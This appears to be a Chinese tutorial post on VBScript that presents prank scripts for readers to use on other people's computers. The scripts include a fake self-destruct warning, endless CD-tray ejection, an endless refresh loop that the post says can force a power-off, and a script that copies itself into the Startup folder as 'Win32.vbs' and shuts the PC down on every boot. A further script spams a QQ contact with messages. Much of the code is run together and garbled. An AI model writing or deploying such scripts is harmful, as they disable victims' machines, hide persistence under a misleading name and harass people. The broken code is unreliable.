VBScript是Visual Basic Script的简称微软公司可视化BASIC脚本版),即 Visual Basic脚本语言,有时也被缩写为VBS。
它是一种微软环境下的轻量级的解释型语言,它使用COM组件、WMI、WSH、ADSI访问系统中的元素,对系统进行管理。同时它又是asp动态网页默认的编程语言,配合asp内建对象和ADO对象,用户很快就能掌握访问数据库的asp动态网页开发技术。
其语言类似Visual Basic(VB),VBS是微软的WSH脚本的一种,WSH是是Windows脚本宿主,是一个脚本解释器,支持vbs.js,wsh三种格式的脚本。简单了解一下,计算机语言分为编译语言和解释语言,脚本语言属于解释语言。
VBS脚本是有ASCII码组成。编写VBS脚本没有什么特定要求,只要有系统带了WSH环境就可以,从WIN98就开始支持了。
下边就是代码了:msgbox”电脑即将自爆”+chr(13)+\\\"请在15秒内离开座位\\\"+chr(13)+“否则你死定了”,2,“系统自爆提醒”CreateObject(\\\"SAPI.SpVoice\\\").Speak\\\"电脑即将自爆,请在15秒内离开座位,否则你死定了,哈哈\\\"其中“msgbox”代表Windows系统的弹窗警告,内容A、内容B、内容C是大家想在弹窗上显示的文字,而“标题”就是弹窗左上角类似系统警告一类的内容;另外,在“标题”前面的数字“1”代表调用系统按钮的样式,也可以换成2、3、4,共4种按钮样式供大家选择。
CreateObject(\\\"SAPI.SpVoice\\\").Speak\\\"内容\\\"
表示将内容用电脑发声无限弹出光驱:
set wmp=createobject(\\\"wmplayer.ocx\\\")set cd=wmp.cdromcollection.item(0)docd.ejectloop
无尽语音报数:
无限语音从1数到无限大。Set s = CreateObject(\\\"sapi.spvoice\\\")i=0dos.speak ii=i+1loop无尽刷新:慎用,如此刷新打开任务管理器都难,只能拔掉电源。
set ws=createobject(\\\"wscript.shell\\\")dows.sendkeys \\\"{f5}\\\"loop修改注册表:on error resume nextset wr=createobject(\\\"scripting.filesystemobject\\\")set ws=createobject(\\\"wscript.shell\\\")set f = wr.getfile(wscript.scriptfullname)q=ws.regread(\\\"HKEY_CURRENT_USER\\\\Software\\\\Microsoft\\\\Windows \\\\CurrentVersion\\\\Explorer\\\\Shell Folders\\\\Staif not f=\\\"Win32.vbs\\\" then wr.copyfile f,q&\\\"Win32.vbs\\\",truews.run\\\"shutdown -p\\\",
vbhideQ0信息骚扰恶搞:
打开好友的聊天对话框,然后记下聊天对话框的名称(如图:小敏),把下面代码里的小敏替换一下。代码中的“10”代表发送次数,把10修改一下就可以自定义发送QQ信息到好友的次数。把发送的内容“复制”即可,当打开本vbs的时候就会把剪切板里的内容粘贴发送过去。
On Error Resume NextDim wsh,yeset wsh=createobject(\\\"wscript.shell\\\")for i=1 to 10wscript.sleep 700wsh.AppActivate(\\\"小敏\\\")wsh.sendKeys \\\"Av\\\"wsh.sendKeys iwsh.sendkeys \\\"%s\\\"nextwscript.quit
举报 0